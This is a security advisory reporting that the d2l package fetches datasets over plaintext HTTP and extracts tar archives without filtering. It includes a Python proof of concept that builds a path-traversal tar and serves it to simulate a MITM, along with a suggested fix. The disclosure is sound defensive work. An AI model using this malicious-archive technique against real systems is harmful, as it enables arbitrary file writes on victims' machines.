Summary
The d2l package downloads datasets over plaintext HTTP (http://d2l-data.s3-accelerate.amazonaws.com/) and extracts tar archives using bare tarfile.extractall() with no member name filtering. A network attacker (MITM) can serve a malicious .tar with path-traversal entries, achieving arbitrary file write with the victim's privileges.
This affects all users following the official D2L book tutorials (6k+ GitHub stars, widely used in university courses) whenever they download datasets containing .tar files (e.g., VOC2012, PTB).
Affected Component
- Repository:
- File:
d2l/torch.py (and d2l/mxnet.py, d2l/tensorflow.py, d2l/paddle.py — identical code)
- Vulnerable functions:
extract() (line 3224-3237), download_extract() (line 3239-3253)
- Version: 1.0.3 (latest)
Vulnerability Details
Plaintext HTTP data URL (line 2)
DATA_URL = 'http://d2l-data.s3-accelerate.amazonaws.com/'
All dataset downloads use this HTTP (not HTTPS) base URL.
Bare tarfile.extractall (line 3234-3237)
def extract(filename, folder=None):
base_dir = os.path.dirname(filename)
_, ext = os.path.splitext(filename)
if ext == '.zip':
fp = zipfile.ZipFile(filename, 'r')
else:
fp = tarfile.open(filename, 'r') # ← tar: no filter
if folder is None:
folder = base_dir
fp.extractall(folder) # ← bare extractall
download_extract (line 3239-3253) — same pattern
def download_extract(name, folder=None):
fname = download(name) # HTTP GET
...
fp = tarfile.open(fname, 'r')
fp.extractall(base_dir) # ← bare extractall into ../data/
Tar datasets in DATA_HUB
DATA_HUB['voc2012'] = (DATA_URL + 'VOCtrainval_11-May-2012.tar', ...)
Proof of Concept
Environment
| Component |
Detail |
| d2l |
1.0.3 (pip install) |
| Python |
3.11.0 |
| Attack |
Local HTTP server simulating MITM on http://d2l-data.s3-accelerate.amazonaws.com |
Exploit
import io, os, tarfile, tempfile, threading
from http.server import HTTPServer, SimpleHTTPRequestHandler
from pathlib import Path
from d2l import torch as d2l
SERVE_DIR = Path(tempfile.mkdtemp())
WORK_DIR = Path(tempfile.mkdtemp())
# Build malicious tar
with tarfile.open(str(SERVE_DIR / "VOCtrainval_11-May-2012.tar"), "w") as tf:
info = tarfile.TarInfo(name="../pwned.txt")
data = b"ARBITRARY_WRITE\n"
info.size = len(data)
tf.addfile(info, io.BytesIO(data))
# Serve (simulates MITM)
os.chdir(str(SERVE_DIR))
server = HTTPServer(("127.0.0.1", 19234), SimpleHTTPRequestHandler)
threading.Thread(target=server.serve_forever, daemon=True).start()
# Victim downloads dataset (MITM'd)
d2l.DATA_URL = "http://127.0.0.1:19234/"
fname = d2l.download(d2l.DATA_URL + "VOCtrainval_11-May-2012.tar", folder=str(WORK_DIR / "data"))
d2l.extract(fname)
# Verify: file escaped extraction directory
assert (WORK_DIR / "pwned.txt").exists()
PoC output
Suggested Fix
# 1. Use HTTPS
DATA_URL = 'https://d2l-data.s3-accelerate.amazonaws.com/'
# 2. Add tar extraction filter
def extract(filename, folder=None):
base_dir = os.path.dirname(filename)
_, ext = os.path.splitext(filename)
if ext == '.zip':
fp = zipfile.ZipFile(filename, 'r')
fp.extractall(folder or base_dir)
else:
with tarfile.open(filename, 'r') as fp:
if hasattr(tarfile, 'data_filter'):
fp.extractall(folder or base_dir, filter='data')
else:
safe = [m for m in fp.getmembers()
if not m.name.startswith(('/', '..'))
and '..' not in m.name.split('/')]
fp.extractall(folder or base_dir, members=safe)
Summary
The
d2lpackage downloads datasets over plaintext HTTP (http://d2l-data.s3-accelerate.amazonaws.com/) and extracts tar archives using baretarfile.extractall()with no member name filtering. A network attacker (MITM) can serve a malicious.tarwith path-traversal entries, achieving arbitrary file write with the victim's privileges.This affects all users following the official D2L book tutorials (6k+ GitHub stars, widely used in university courses) whenever they download datasets containing
.tarfiles (e.g., VOC2012, PTB).Affected Component
d2l/torch.py(andd2l/mxnet.py,d2l/tensorflow.py,d2l/paddle.py— identical code)extract()(line 3224-3237),download_extract()(line 3239-3253)Vulnerability Details
Plaintext HTTP data URL (line 2)
All dataset downloads use this HTTP (not HTTPS) base URL.
Bare tarfile.extractall (line 3234-3237)
download_extract (line 3239-3253) — same pattern
Tar datasets in DATA_HUB
Proof of Concept
Environment
http://d2l-data.s3-accelerate.amazonaws.comExploit
PoC output
Suggested Fix